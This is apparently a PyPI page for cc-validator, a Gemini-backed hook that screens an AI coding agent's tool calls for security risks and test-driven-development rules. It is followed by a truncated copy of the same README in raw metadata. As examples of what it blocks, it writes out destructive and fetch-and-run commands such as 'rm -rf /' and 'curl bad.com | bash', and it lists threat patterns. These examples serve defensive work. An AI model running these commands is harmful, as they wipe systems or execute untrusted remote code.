# CC-Validator (Claude Code Validator)
Intelligent security validation for Claude Code tool execution using Google Gemini and ADK-inspired patterns.
## Overview
This project implements sophisticated PreToolUse hooks for Claude Code that leverage Google's Gemini API to intelligently validate tool executions before they run. Based on Google Agent Development Kit (ADK) `before_tool_callback` patterns, it provides multi-tier validation with real-time threat intelligence.
## Features
### Multi-Tier Security Validation
- **Tier 1**: Fast rule-based validation for immediate threat detection
- **Tier 2**: Advanced Gemini-powered analysis with structured output
- **Tier 3**: Enhanced file analysis using Gemini Files API
### 🚀 Hybrid Security + TDD Validation (v1.7.0 - Latest)
Complete hybrid validation system combining security validation with TDD enforcement:
- **Security-First**: Multi-tier security validation runs first (proven)
- **TDD Compliance**: Red-Green-Refactor cycle enforcement with single test rule
- **Context Persistence**: Test results, todos, and modifications stored in `.claude/cc-validator/data/`
- **Automatic Test Capture**: Built-in pytest plugin for seamless test result integration
- **Operation-Specific Analysis**: Dedicated validation for Edit/Write/MultiEdit/Update operations
- **TodoWrite Optimization**: Skips validation for better flow (context still persisted)
- **Sequential Pipeline**: Security validation → TDD validation → Result aggregation
- **Smart TDD Detection**: Automatically detects test files and validates test count
- **No-Comments Enforcement**: Blocks code with comments to promote self-evident code
- **SOLID Principles Validation**: Enforces SRP, OCP, LSP, ISP, DIP principles
- **Comprehensive Testing**: Parallel test execution completes in ~30 seconds
- **Pre-commit Hooks**: Automated validation before commits
- **Template File Support**: Intelligent detection and validation for HTML, Jinja2, and other template engines
### 🔍 Advanced Capabilities
- **Structured Output**: Pydantic models ensure reliable JSON responses
- **Deep Thinking Analysis**: 24576 token thinking budget for complex security reasoning
- **File Upload Analysis**: Enhanced security analysis for large files (>500 chars)
- **Document Processing**: Comprehensive analysis of file contents with detailed explanations
- **Precise Secret Detection**: Improved patterns with reduced false positives
- **Simplified UX Output**: Actionable-first design with cleaner, more concise messages
- **Full Context Analysis**: No truncation limits - complete conversation context provided to LLM
- **Configurable Models**: Uses lighter gemini-2.5-flash for file categorization
### 🚫 Security Patterns Detected
- Destructive commands (`rm -rf /`, `mkfs`, `dd`)
- Real credential assignments (quoted values, specific formats)
- Shell injection patterns
- Path traversal attempts
- Malicious download patterns (`curl | bash`)
- System directory modifications
- AWS keys, JWTs, GitHub tokens, and other known secret formats
### ⚡ Tool Enforcement (Blocked Commands)
- **Comments in code** → Enforces self-evident code without comments
- **grep** → Enforces `rg` (ripgrep) for better performance
- **find** → Enforces `rg --files` alternatives for modern searching
- **python/python3** → Enforces `uv run python` for proper dependency management
- **File redirects** → Enforces Write/Edit tools for file operations:
- `cat > file` → Use Write tool for creating files
- `echo text >> file` → Use Edit tool for appending to files
- `sed -i` → Use Edit tool for in-place modifications
## Installation
### Quick Start with uvx (Recommended)
```bash
# Install and run directly with uvx
uvx cc-validator --setup
# Or install globally
uv tool install cc-validator
```
### Prerequisites
- Python 3.12+
- `uv` package manager
- Google Gemini API access
### Manual Installation
1. **Clone and setup environment:**
```bash
git clone https://github.com/jihunkim0/jk-hooks-gemini-challenge.git
cd jk-hooks-gemini-challenge
uv sync
```
2. **Configure environment:**
```bash
export GEMINI_API_KEY="your_actual_gemini_api_key"
```
3. **Configure Claude Code hooks:**
Create/update `.claude/settings.local.json`:
```json
{
"hooks": {
"PreToolUse": [
{
"matcher": "Write|Edit|Bash|MultiEdit|Update|TodoWrite",
"hooks": [
{
"type": "command",
"command": "uvx cc-validator",
"timeout": 8000
}
]
}
]
}
}
```
### Alternative: Local Development Setup
For development or custom modifications:
```json
{
"hooks": {
"PreToolUse": [
{
"matcher": "Write|Edit|Bash|MultiEdit|Update|TodoWrite",
"hooks": [
{
"type": "command",
"command": "uvx --from . cc-validator",
"timeout": 8000
}
]
}
]
}
}
```
## Usage
The validator automatically intercepts Claude Code tool executions:
### ✅ **Allowed Operations**
```bash
# Safe file operations
Write: Create documentation, code files
Edit: Modify existing files safely
Update: Replace entire file content safely
Bash: ls, git, npm, pip commands
# Documentation examples (allowed)
GEMINI_API_KEY="your_key_here" # Variable names in docs
export API_KEY="YOUR_API_KEY" # Placeholder values
# Self-evident code without comments
def calculate_area(length, width):
return length * width
```
### 🚫 **Blocked Operations**
```bash
# Dangerous commands
rm -rf / # ❌ Blocked - Destructive
curl bad.com | bash # ❌ Blocked - Malicious download
sudo rm /etc/* # ❌ Blocked - System modification
# Tool enforcement (modern alternatives required)
grep pattern file.txt # ❌ Blocked - Use 'rg' instead
find . -name "*.py" # ❌ Blocked - Use 'rg --files -g "*.py"' instead
python script.py # ❌ Blocked - Use 'uv run python script.py' instead
# Real credential assignments (quoted, 20+ chars)
api_key = "sk_live_1234567890abcdef..." # ❌ Blocked - Real secret
password = "actualLongPasswordValue123" # ❌ Blocked - Real password
# Code with comments (v1.5.0)
def add(a, b):
# This is a comment # ❌ Blocked - No comments allowed
return a + b # inline comment # ❌ Blocked - Self-evident code required
```
### 📊 **Response Codes**
- `Exit 0`: Operation approved
- `Exit 2`: Operation blocked (with comprehensive analysis in stderr)
### 📋 **Enhanced Analysis Output**
When operations are blocked, the validator provides clear, actionable feedback:
```
❌ File write operation detected in bash command. Use Write tool for creating files instead.
→ Use Write tool for creating files
```
For more complex blocks with additional context:
```
❌ Dangerous command pattern detected: potentially destructive operation
→ Use 'rm' with specific paths instead of root directory
→ Consider using trash-cli for safer deletions
Details:
• Command attempts to remove entire filesystem
• Would cause complete system failure
• No recovery possible without backups
File issues found:
• Potential shell injection vulnerability
• Hardcoded credentials detected
```
**Key UX Improvements (v1.5.0):**
- **Actionable First**: Suggestions appear immediately after the reason
- **Clean Format**: No redundant DECISION/RISK_LEVEL headers
- **Progressive Detail**: Essential info first, details only when needed
- **Clear Visual Cues**: Clean output without emojis, → for suggestions, • for details
- **Consolidated Sections**: Multiple analysis sections merged into "Details"
## Code Quality
### Automated Checks
Code quality is maintained through automated checks in CI:
```bash
# Run code quality checks locally
uvx ruff check cc_validator/
uvx mypy cc_validator/
uvx black --check cc_validator/
```
### Pre-commit Hooks
Pre-commit hooks ensure code quality and run tests before commits:
```bash
# Install pre-commit hooks (one-time setup)
uv run pre-commit install
# Hooks automatically run on git commit
git commit -m "your message"
```
Pre-commit hooks include:
- All pytest tests (requires GEMINI_API_KEY)
- Ruff linting
- MyPy type checking
- Black code formatting
- YAML/JSON/TOML validation
## Automatic Test Result Capture
### Python Projects (Built-in)
The validator automatically captures pytest results when you install the package:
```bash
# Install with uvx (automatic pytest plugin registration)
uvx cc-validator --setup
# Run tests - results automatically captured for TDD validation
pytest
# Results stored in .claude/cc-validator/data/test.json (20-minute expiry)
```
### Multi-Language Support ✅ IMPLEMENTED
The system now supports automatic test result capture for multiple languages using the CLI:
```bash
# List all supported languages
uvx cc-validator --list-languages
```
#### TypeScript/JavaScript
```bash
# Capture Jest/Vitest results
npm test -- --json | uvx cc-validator --capture-test-results typescript
# Or for Vitest
vitest run --reporter=json | uvx cc-validator --capture-test-results typescript
```
#### Go
```bash
# Capture go test results
go test -json ./... | uvx cc-validator --capture-test-results go
```
#### Rust
```bash
# Capture cargo test results
cargo test --message-format json | uvx cc-validator --capture-test-results rust
# Note: Requires nightly for stable JSON output
cargo +nightly test -- -Z unstable-options --format json | uvx cc-validator --capture-test-results rust
```
#### Dart/Flutter
```bash
# Capture dart test results
dart test --reporter json | uvx cc-validator --capture-test-results dart
# Or for Flutter
flutter test --machine | uvx cc-validator --capture-test-results flutter
```
### Test Result Format
All test integrations use this standardized JSON format:
```json
{
"timestamp": 1640995200.0,
"expiry": 1640996400.0,
"test_results": {
"status": "failed|passed|no_tests",
"total_tests": 10,
"passed": 8,
"failed": 2,
"skipped": 0,
"duration": 5.2,
"failures": [
{
"test": "test_example",
"file": "tests/test_example.py",
"error": "AssertionError: Expected 5, got 3",
"line": 42
}
],
"passes": [
{
"test": "test_working_feature",
"file": "tests/test_feature.py",
"duration": 0.1
}
]
}
}
```
## Architecture
### Core Components
1. **ClaudeToolValidator** (`cc_validator/validator.py`)
- Main validation engine with enhanced analysis capabilities
- File upload and comprehensive security analysis
- Structured output generation with detailed reasoning
- Improved secret detection with context awareness
- Full context processing (no truncation limits)
2. **Validation Tiers**
- **Quick validation**: Rule-based pattern matching (<100ms)
- **Gemini analysis**: Deep LLM-powered threat assessment (~3s)
- **File analysis**: Enhanced security scanning for large files (~5s)
3. **Enhanced Security Models**
- `ValidationResponse`: Comprehensive analysis with thinking process, detailed analysis, and full context
- `FileAnalysisResponse`: Deep file security analysis with vulnerability identification
- **New Fields**: `detailed_analysis`, `thinking_process`, `full_context`, `raw_response`
### Secret Detection Improvements
Enhanced patterns with reduced false positives:
- **Word boundaries**: Prevents matching variable names like `GEMINI_API_KEY`
- **Placeholder exclusion**: Ignores `YOUR_API_KEY`, `<SECRET>`, etc.
- **Quoted value requirements**: Focuses on actual string assignments
- **Minimum length**: Requires 20+ characters for generic secrets
- **Specific formats**: Detects AWS keys, JWTs, GitHub tokens directly
### ADK Integration Patterns
Following Google ADK `before_tool_callback` methodology:
```python
def before_tool_callback(self, tool_request: dict) -> Optional[dict]:
"""ADK-inspired validation returning None (allow) or error dict (block)"""
validation_result = self.validate_tool_use(tool_name, tool_input, context)
return None if validation_result["approved"] else {"error": validation_result["reason"]}
```
## Configuration
### Environment Variables
- `GEMINI_API_KEY`: **REQUIRED** - Operations are blocked without valid API key
- No fail-safe mode - security and TDD validation require API access
### Hook Configuration
- **Matcher**: `Write|Edit|Bash|MultiEdit|Update|TodoWrite` - Tools to validate
- **Timeout**: 8000ms - Adequate for LLM analysis and file upload
- **Command**: Full path to validator script or uvx command
### Model Settings
- **Model**: `gemini-2.5-pro` - Advanced reasoning capabilities for security analysis
- **Thinking Budget**: 24576 tokens for deep security reasoning and analysis
- **Structured Output**: JSON schema validation via Pydantic models
- **Context Processing**: Full conversation context without truncation limits
- **File Analysis**: Large file security scanning via Gemini Files API
## TDD Validation Behavior
### Core TDD Principles
The validator enforces Test-Driven Development (TDD) Red-Green-Refactor cycle:
1. **RED Phase**: Write ONE failing test for desired behavior
2. **GREEN Phase**: Write MINIMAL code to pass the test
3. **REFACTOR Phase**: Improve code while keeping tests green
### Test Modification vs Addition (v1.10.0)
The validator now distinguishes between test modification and test addition:
#### Allowed Test Modifications (Red Phase Refinement)
- **Changing test implementation** while keeping same function name
- **Renaming test functions** (e.g., `test_login` → `test_login_redirects`)
- **Replacing one test with another** (removing old, adding new = net zero)
- **Simplifying complex tests** into focused ones
#### Test Addition Rules
- **ONE test rule applies to NET new tests**, not modifications
- Net increase = (new test count) - (old test count)
- If net increase > 1, operation is blocked
- Example: File has 3 tests → update to 4 tests = allowed (net +1)
- Example: File has 3 tests → update to 5 tests = blocked (net +2)
### Practical TDD Workflow Examples
#### Example 1: Refining a Test During Red Phase
```python
# Initial test (too complex)
def test_google_oauth_login_redirects_to_google():
with patch('auth.get_google_sso') as mock_sso:
mock_sso.get_login_url.return_value = "https://google.com"
response = client.get("/auth/login")
assert response.status_code == 307
# Refined test (simpler, focused) - ALLOWED
def test_google_oauth_login_endpoint_exists():
response = client.get('/auth/login')
assert response.status_code != 404
```
#### Example 2: Test Evolution
```python
# Step 1: Initial failing test - ALLOWED
def test_login():
assert False
# Step 2: Rename for clarity - ALLOWED (net zero)
def test_login_redirects_to_oauth():
assert False
# Step 3: Update implementation - ALLOWED (same test count)
def test_login_redirects_to_oauth():
response = client.get('/login')
assert response.status_code == 302
```
### Validation Rules Summary
- **BLOCK**: Multiple NEW tests in one operation (net increase > 1)
- **BLOCK**: Code with comments (enforce self-evident code)
- **BLOCK**: Implementation beyond test requirements
- **ALLOW**: Test modifications with net zero change
- **ALLOW**: Adding ONE new test per operation
- **ALLOW**: Refactoring while keeping tests green
## Development
### Project Structure
```
cc-validator/
cc_validator/
__init__.py # Package metadata (v1.5.0)
__main__.py # Module entry point
main.py # CLI entry point and hook setup
validator.py # Legacy single-file validator (deprecated)
security_validator.py # Security-focused validation module
tdd_validator.py # TDD compliance validation module
tdd_prompts.py # TDD-specific prompt templates
hybrid_validator.py # Sequential pipeline orchestrator
file_storage.py # Context persistence for TDD state
prompts/ # Reserved for future prompt templates
validators/ # Reserved for future validators
tests/
test_validation.py # Comprehensive test suite
test_tdd_direct.py # TDD validation test suite
.claude/
cc-validator/
data/
test.json # Test results (20-min expiry)
todos.json # Todo state tracking
modifications.json # File modification history
dist/ # Built packages
pyproject.toml # Package configuration
mypy.ini # Type checking configuration
uv.lock # Dependency lock file
CLAUDE.md # Development guidance
CONTRIBUTING.md # Contribution guidelines
LICENSE # MIT License
README.md # This file
```
### Adding New Security Patterns
1. **Rule-based patterns** (Tier 1): Add to `validate_bash_command()` or `validate_file_operation()`
2. **LLM analysis** (Tier 2): Update validation prompt in `build_validation_prompt()`
3. **File analysis** (Tier 3): Enhance `analyze_uploaded_file()` prompt
See [CONTRIBUTING.md](CONTRIBUTING.md) for detailed guidelines.
## Contributing
1. Follow existing code patterns and security principles
2. Add tests for new validation patterns in `tests/`
3. Run quality checks: `uvx ruff`, `uvx mypy`, `uvx black`
4. Update documentation for new features
See [CONTRIBUTING.md](CONTRIBUTING.md) for detailed contribution guidelines.
## Security Considerations
- **Fail-safe**: Missing API key allows operations (prevents lockout)
- **Performance**: Quick validation for common patterns
- **Privacy**: Temporary files cleaned up after analysis
- **Reliability**: Structured output prevents parsing errors
- **Precision**: Improved secret detection reduces false positives
## Hook Behavior & Verification
### Understanding "Silent Success" Design
The validation system follows the "silent on success" principle common in CLI tools:
- **✅ Approved Operations**: Continue silently without any validation output
- **❌ Blocked Operations**: Show detailed error messages with analysis and suggestions
This design keeps the development flow uninterrupted while providing comprehensive feedback only when intervention is needed.
### Verifying Hooks Are Working
To confirm your hooks are active and functioning:
```bash
# Test 1: Try a blocked command (should show error)
grep "pattern" file.txt
# Expected: Error message suggesting 'rg' instead
# Test 2: Try dangerous command (should be blocked)
echo "rm -rf /" # DO NOT RUN - just demonstrates blocking
# Test 3: Safe operations (should proceed silently)
ls -la
rg "pattern" file.txt
uv run python --version
```
### Troubleshooting
If hooks don't seem to trigger:
1. Check `.claude/settings.local.json` contains hook configuration
2. Verify `GEMINI_API_KEY` environment variable is set
3. Confirm you're in the correct directory with `pyproject.toml`
4. Test with commands known to be blocked (grep, python, find)
## Recent Improvements
### Template File Support (v1.7.0 - Latest)
- **Template File Detection**: Automatically identifies HTML, Jinja2, Handlebars, EJS, Vue, Svelte, and other template files
- **Template-Specific Validation**: Focuses on XSS prevention and template injection rather than server-side security
- **Smart Categorization**: Templates skip code security analysis by default, allowing legitimate template patterns
- **Configurable Strictness**: `STRICT_TEMPLATE_VALIDATION` config option for enforcing stricter XSS checks
- **Critical Secret Protection**: Still blocks real production secrets (AWS keys, Stripe live keys) in templates
- **Resolved Issue #33**: Fixed overly strict validation that blocked legitimate HTML template creation
### Documentation Validation Fix (v1.6.0)
- **Fixed Documentation Analysis**: Documentation files now correctly skip code security analysis
- **File Categorization Order**: File type detection now happens before file upload/analysis
- **Documentation-Safe**: Markdown files can contain example secrets and commands without being blocked
- **Comprehensive Test Coverage**: Added specific tests for documentation validation scenarios
- **Resolved Issue #31**: Fixed bug where docs >500 chars were incorrectly analyzed as code
### Enhanced Validation and Testing (v1.5.0)
- **Comprehensive Testing Suite**: Parallel test execution reduces runtime to ~30 seconds
- **Pre-commit Hooks**: Automated validation before commits with quick and comprehensive tests
- **Update Tool Support**: Added Update tool to TDD validation for complete file replacements
- **No-Comments Enforcement**: Blocks code with comments to promote self-evident code
- **SOLID Principles Validation**: Enforces all five SOLID principles (SRP, OCP, LSP, ISP, DIP)
- **Zen of Python Compliance**: Validates code follows Python's guiding principles
- **Prompt Simplification**: Reduced prompt size by ~80% while maintaining functionality
- **Emoji-Free Output**: All validation messages now use clean text formatting
- **Fixed API Conflicts**: Resolved Gemini API tool/JSON response format conflicts
### Hybrid Security + TDD Validation System (v1.1.0)
- **Modular Architecture**: Split monolithic validator into specialized modules (security, TDD, hybrid)
- **TDD Enforcement**: Implemented Red-Green-Refactor cycle with strict single test rule
- **Context Persistence**: Added FileStorage for test results, todos, and modification tracking
- **Sequential Pipeline**: Security validation → TDD validation → Result aggregation
- **Operation-Specific Logic**: Custom validation for Edit/Write/MultiEdit/TodoWrite operations
- **Smart Test Detection**: Automatic test file identification and new test counting
- **Fixed TDD Bug**: Corrected prompt that was allowing multiple tests in test files
- **No Fail-Safe Mode**: Removed fail-safe behavior - operations blocked without API key
### Hook Functionality Verification
- **Confirmed Full Operational Status**: Comprehensive testing validated all hook functionality
- **Silent Success Clarification**: Added documentation explaining when validation output appears
- **Real-world Testing**: Verified hooks work correctly in actual Claude Code operations
- **Troubleshooting Guide**: Added verification steps for users to confirm hook activation
### Enhanced LLM Analysis Output
- **Comprehensive stderr Output**: Structured analysis sections with detailed reasoning
- **Full Context Processing**: Removed 800-character truncation limit for complete conversation analysis
- **Enhanced Response Fields**: Added `detailed_analysis`, `thinking_process`, `full_context`, `raw_response`
- **Fixed File Analysis**: Resolved Gemini Files API integration for proper large file security scanning
- **Deep Thinking Process**: Complete step-by-step security reasoning documentation
- **Educational Feedback**: Detailed explanations of security implications and best practices
### Enhanced Secret Detection (v1.0.3)
- Added word boundaries to prevent false positives on variable names
- Implemented placeholder exclusion for documentation examples
- Focus on quoted values for generic secret patterns
- Added specific patterns for AWS, GitHub, Stripe, Slack tokens
- Reduced false positives while maintaining security coverage
## Roadmap: Hybrid Security + TDD Validation System
### Phase 1: Foundation (v1.1.0) ✅ COMPLETED
**Goal**: Add TDD validation alongside existing security validation
- [x] **FileStorage Implementation**: Added context persistence in `.claude/cc-validator/data/`
- Test results with 20-minute expiry (similar to TDD Guard)
- Todo state tracking for TDD workflow awareness
- File modification history for context aggregation
- [x] **Hook Extension**: Updated matcher to include `TodoWrite` operations
- Previous: `"Write|Edit|Bash|MultiEdit"`
- Current: `"Write|Edit|Bash|MultiEdit|TodoWrite"`
- [x] **TDD Validation Logic**: Implemented Red-Green-Refactor cycle enforcement
- Adopted TDD Guard's core principles and validation rules
- Added operation-specific analysis (Edit/Write/MultiEdit)
- Integrated with existing security validation pipeline
### Phase 2: Test Integration (v1.2.0) ✅ COMPLETED
**Goal**: Automatic test result capture and TDD state management
- [x] **Pytest Plugin**: Auto-capture test results via pytest hooks with entry point registration
- [x] **Multi-Language Reporters**: Implemented parsers for Python, TypeScript/JavaScript, Go, Rust, Dart/Flutter
- [x] **CLI Integration**: Added `--capture-test-results` and `--list-languages` flags
- [x] **Test Result Processing**: Standardized JSON format across all languages
- [x] **UX Improvements**: Simplified output format, removed redundant headers, actionable-first design
- [x] **Performance Optimization**: Added FILE_CATEGORIZATION_MODEL using lighter gemini-2.5-flash
### Phase 3: Advanced Features (v1.3.0)
**Goal**: Multi-language support and enhanced validation
- [ ] **Modular Prompt System**: Adopt TDD Guard's operation-specific prompt architecture
- [ ] **TypeScript Support**: Add Vitest integration for JavaScript/TypeScript projects
- [ ] **Enhanced Response Model**: Unified security + TDD analysis in single response
### Architecture Comparison: TDD Guard vs Our System
| Component | TDD Guard | Our System (v1.5.0) |
|-----------|-----------|---------------------|
| **Hook Scope** | `Write\|Edit\|MultiEdit\|TodoWrite` | `Write\|Edit\|Bash\|MultiEdit\|Update\|TodoWrite` |
| **Validation Logic** | Single-purpose TDD | Security → TDD + Comments/SOLID/Zen + Context-Aware |
| **Response Model** | Simple approve/block | Clean, actionable-first output |
| **Context Storage** | `.claude/tdd-guard/data/` | `.claude/cc-validator/data/` |
| **Test Integration** | Auto-reporters (Vitest/pytest) | Full auto-reporters (5 languages) |
| **Architecture** | Modular from start | Modular: security, TDD, hybrid modules + FileContextAnalyzer |
| **Testing** | Basic unit tests | Parallel test suite (~3-5s with 10x speedup) |
| **Pre-commit** | None | Full pre-commit hooks |
| **File Context** | None | Intelligent file categorization (test/config/structural/implementation) |
| **Documentation** | Basic | Pre-push checks for README.md, CLAUDE.md, CHANGELOG.md |
### Implementation Strategy
The hybrid approach leverages our **existing infrastructure strengths**:
- ✅ Sophisticated ValidationResponse model (10+ analysis fields)
- ✅ Multi-tier validation pipeline (rule-based + LLM + file analysis)
- ✅ Advanced prompt engineering with comprehensive analysis
- ✅ Production-ready PreToolUse hook integration
And adds **TDD Guard's proven capabilities**:
- 🔄 Context persistence and state management
- 🔄 Operation-specific validation logic
- 🔄 Test result capture and integration
- 🔄 Red-Green-Refactor cycle enforcement
**Result**: A comprehensive development quality assurance system that provides both security protection and TDD enforcement in a single, unified validation pipeline.
## Changelog
### v2.0.2 (2025-07-27)
- Fixed all remaining references to old package name
- Updated data directory from `.claude/adk-validator/` to `.claude/cc-validator/`
- Fixed --setup command to use cc-validator
- Updated all CLI examples and documentation
### v2.0.0 (2025-07-27) - BREAKING CHANGE
- **BREAKING**: Renamed package from `claude-code-adk-validator` to `cc-validator`
- **BREAKING**: All imports now use `cc_validator` instead of `claude_code_adk_validator`
- Simplified package name for better usability
- All functionality remains the same
- Migration: Update imports from `claude_code_adk_validator` to `cc_validator`
### v1.12.4 (Previous)
- Last release under old package name
## License
MIT License - See LICENSE file for details
Raw data
{
"_id": null,
"home_page": null,
"name": "cc-validator",
"maintainer": null,
"docs_url": null,
"requires_python": ">=3.12",
"maintainer_email": null,
"keywords": "adk, ai-safety, claude-code, gemini, hooks, security, tdd, test-driven-development, validation",
"author": null,
"author_email": "Jihun Kim <jihunkim0@noreply.github.com>",
"download_url": "https://files.pythonhosted.org/packages/2d/6c/4ff46d392a8edabd5866299363b08b086f431640a063f7bd07b42cb17f31/cc_validator-2.0.5.tar.gz",
"platform": null,
"description": "# CC-Validator (Claude Code Validator)\n\nIntelligent security validation for Claude Code tool execution using Google Gemini and ADK-inspired patterns.\n\n## Overview\n\nThis project implements sophisticated PreToolUse hooks for Claude Code that leverage Google's Gemini API to intelligently validate tool executions before they run. Based on Google Agent Development Kit (ADK) `before_tool_callback` patterns, it provides multi-tier validation with real-time threat intelligence.\n\n## Features\n\n### Multi-Tier Security Validation\n- **Tier 1**: Fast rule-based validation for immediate threat detection\n- **Tier 2**: Advanced Gemini-powered analysis with structured output\n- **Tier 3**: Enhanced file analysis using Gemini Files API\n\n### \ud83d\ude80 Hybrid Security + TDD Validation (v1.7.0 - Latest)\nComplete hybrid validation system combining security validation with TDD enforcement:\n- **Security-First**: Multi-tier security validation runs first (proven)\n- **TDD Compliance**: Red-Green-Refactor cycle enforcement with single test rule\n- **Context Persistence**: Test results, todos, and modifications stored in `.claude/cc-validator/data/`\n- **Automatic Test Capture**: Built-in pytest plugin for seamless test result integration\n- **Operation-Specific Analysis**: Dedicated validation for Edit/Write/MultiEdit/Update operations\n- **TodoWrite Optimization**: Skips validation for better flow (context still persisted)\n- **Sequential Pipeline**: Security validation \u2192 TDD validation \u2192 Result aggregation\n- **Smart TDD Detection**: Automatically detects test files and validates test count\n- **No-Comments Enforcement**: Blocks code with comments to promote self-evident code\n- **SOLID Principles Validation**: Enforces SRP, OCP, LSP, ISP, DIP principles\n- **Comprehensive Testing**: Parallel test execution completes in ~30 seconds\n- **Pre-commit Hooks**: Automated validation before commits\n- **Template File Support**: Intelligent detection and validation for HTML, Jinja2, and other template engines\n\n### \ud83d\udd0d Advanced Capabilities\n- **Structured Output**: Pydantic models ensure reliable JSON responses\n- **Deep Thinking Analysis**: 24576 token thinking budget for complex security reasoning\n- **File Upload Analysis**: Enhanced security analysis for large files (>500 chars)\n- **Document Processing**: Comprehensive analysis of file contents with detailed explanations\n- **Precise Secret Detection**: Improved patterns with reduced false positives\n- **Simplified UX Output**: Actionable-first design with cleaner, more concise messages\n- **Full Context Analysis**: No truncation limits - complete conversation context provided to LLM\n- **Configurable Models**: Uses lighter gemini-2.5-flash for file categorization\n\n### \ud83d\udeab Security Patterns Detected\n- Destructive commands (`rm -rf /`, `mkfs`, `dd`)\n- Real credential assignments (quoted values, specific formats)\n- Shell injection patterns\n- Path traversal attempts\n- Malicious download patterns (`curl | bash`)\n- System directory modifications\n- AWS keys, JWTs, GitHub tokens, and other known secret formats\n\n### \u26a1 Tool Enforcement (Blocked Commands)\n- **Comments in code** \u2192 Enforces self-evident code without comments\n- **grep** \u2192 Enforces `rg` (ripgrep) for better performance\n- **find** \u2192 Enforces `rg --files` alternatives for modern searching\n- **python/python3** \u2192 Enforces `uv run python` for proper dependency management\n- **File redirects** \u2192 Enforces Write/Edit tools for file operations:\n - `cat > file` \u2192 Use Write tool for creating files\n - `echo text >> file` \u2192 Use Edit tool for appending to files\n - `sed -i` \u2192 Use Edit tool for in-place modifications\n\n## Installation\n\n### Quick Start with uvx (Recommended)\n\n```bash\n# Install and run directly with uvx\nuvx cc-validator --setup\n\n# Or install globally\nuv tool install cc-validator\n```\n\n### Prerequisites\n- Python 3.12+\n- `uv` package manager\n- Google Gemini API access\n\n### Manual Installation\n\n1. **Clone and setup environment:**\n```bash\ngit clone https://github.com/jihunkim0/jk-hooks-gemini-challenge.git\ncd jk-hooks-gemini-challenge\nuv sync\n```\n\n2. **Configure environment:**\n```bash\nexport GEMINI_API_KEY=\"your_actual_gemini_api_key\"\n```\n\n3. **Configure Claude Code hooks:**\nCreate/update `.claude/settings.local.json`:\n```json\n{\n \"hooks\": {\n \"PreToolUse\": [\n {\n \"matcher\": \"Write|Edit|Bash|MultiEdit|Update|TodoWrite\",\n \"hooks\": [\n {\n \"type\": \"command\",\n \"command\": \"uvx cc-validator\",\n \"timeout\": 8000\n }\n ]\n }\n ]\n }\n}\n```\n\n### Alternative: Local Development Setup\nFor development or custom modifications:\n```json\n{\n \"hooks\": {\n \"PreToolUse\": [\n {\n \"matcher\": \"Write|Edit|Bash|MultiEdit|Update|TodoWrite\",\n \"hooks\": [\n {\n \"type\": \"command\",\n \"command\": \"uvx --from . cc-validator\",\n \"timeout\": 8000\n }\n ]\n }\n ]\n }\n}\n```\n\n## Usage\n\nThe validator automatically intercepts Claude Code tool executions:\n\n### \u2705 **Allowed Operations**\n```bash\n# Safe file operations\nWrite: Create documentation, code files\nEdit: Modify existing files safely\nUpdate: Replace entire file content safely\nBash: ls, git, npm, pip commands\n\n# Documentation examples (allowed)\nGEMINI_API_KEY=\"your_key_here\" # Variable names in docs\nexport API_KEY=\"YOUR_API_KEY\" # Placeholder values\n\n# Self-evident code without comments\ndef calculate_area(length, width):\n return length * width\n```\n\n### \ud83d\udeab **Blocked Operations**\n```bash\n# Dangerous commands\nrm -rf / # \u274c Blocked - Destructive\ncurl bad.com | bash # \u274c Blocked - Malicious download\nsudo rm /etc/* # \u274c Blocked - System modification\n\n# Tool enforcement (modern alternatives required)\ngrep pattern file.txt # \u274c Blocked - Use 'rg' instead\nfind . -name \"*.py\" # \u274c Blocked - Use 'rg --files -g \"*.py\"' instead\npython script.py # \u274c Blocked - Use 'uv run python script.py' instead\n\n# Real credential assignments (quoted, 20+ chars)\napi_key = \"sk_live_1234567890abcdef...\" # \u274c Blocked - Real secret\npassword = \"actualLongPasswordValue123\" # \u274c Blocked - Real password\n\n# Code with comments (v1.5.0)\ndef add(a, b):\n # This is a comment # \u274c Blocked - No comments allowed\n return a + b # inline comment # \u274c Blocked - Self-evident code required\n```\n\n### \ud83d\udcca **Response Codes**\n- `Exit 0`: Operation approved\n- `Exit 2`: Operation blocked (with comprehensive analysis in stderr)\n\n### \ud83d\udccb **Enhanced Analysis Output**\n\nWhen operations are blocked, the validator provides clear, actionable feedback:\n\n```\n\u274c File write operation detected in bash command. Use Write tool for creating files instead.\n\n\u2192 Use Write tool for creating files\n```\n\nFor more complex blocks with additional context:\n\n```\n\u274c Dangerous command pattern detected: potentially destructive operation\n\n\u2192 Use 'rm' with specific paths instead of root directory\n\u2192 Consider using trash-cli for safer deletions\n\nDetails:\n\u2022 Command attempts to remove entire filesystem\n\u2022 Would cause complete system failure\n\u2022 No recovery possible without backups\n\nFile issues found:\n\u2022 Potential shell injection vulnerability\n\u2022 Hardcoded credentials detected\n```\n\n**Key UX Improvements (v1.5.0):**\n- **Actionable First**: Suggestions appear immediately after the reason\n- **Clean Format**: No redundant DECISION/RISK_LEVEL headers\n- **Progressive Detail**: Essential info first, details only when needed\n- **Clear Visual Cues**: Clean output without emojis, \u2192 for suggestions, \u2022 for details\n- **Consolidated Sections**: Multiple analysis sections merged into \"Details\"\n\n## Code Quality\n\n### Automated Checks\nCode quality is maintained through automated checks in CI:\n\n```bash\n# Run code quality checks locally\nuvx ruff check cc_validator/\nuvx mypy cc_validator/\nuvx black --check cc_validator/\n```\n\n### Pre-commit Hooks\nPre-commit hooks ensure code quality and run tests before commits:\n\n```bash\n# Install pre-commit hooks (one-time setup)\nuv run pre-commit install\n\n# Hooks automatically run on git commit\ngit commit -m \"your message\"\n```\n\nPre-commit hooks include:\n- All pytest tests (requires GEMINI_API_KEY)\n- Ruff linting\n- MyPy type checking\n- Black code formatting\n- YAML/JSON/TOML validation\n\n## Automatic Test Result Capture\n\n### Python Projects (Built-in)\n\nThe validator automatically captures pytest results when you install the package:\n\n```bash\n# Install with uvx (automatic pytest plugin registration)\nuvx cc-validator --setup\n\n# Run tests - results automatically captured for TDD validation\npytest\n\n# Results stored in .claude/cc-validator/data/test.json (20-minute expiry)\n```\n\n### Multi-Language Support \u2705 IMPLEMENTED\n\nThe system now supports automatic test result capture for multiple languages using the CLI:\n\n```bash\n# List all supported languages\nuvx cc-validator --list-languages\n```\n\n#### TypeScript/JavaScript\n```bash\n# Capture Jest/Vitest results\nnpm test -- --json | uvx cc-validator --capture-test-results typescript\n\n# Or for Vitest\nvitest run --reporter=json | uvx cc-validator --capture-test-results typescript\n```\n\n#### Go\n```bash\n# Capture go test results\ngo test -json ./... | uvx cc-validator --capture-test-results go\n```\n\n#### Rust\n```bash\n# Capture cargo test results\ncargo test --message-format json | uvx 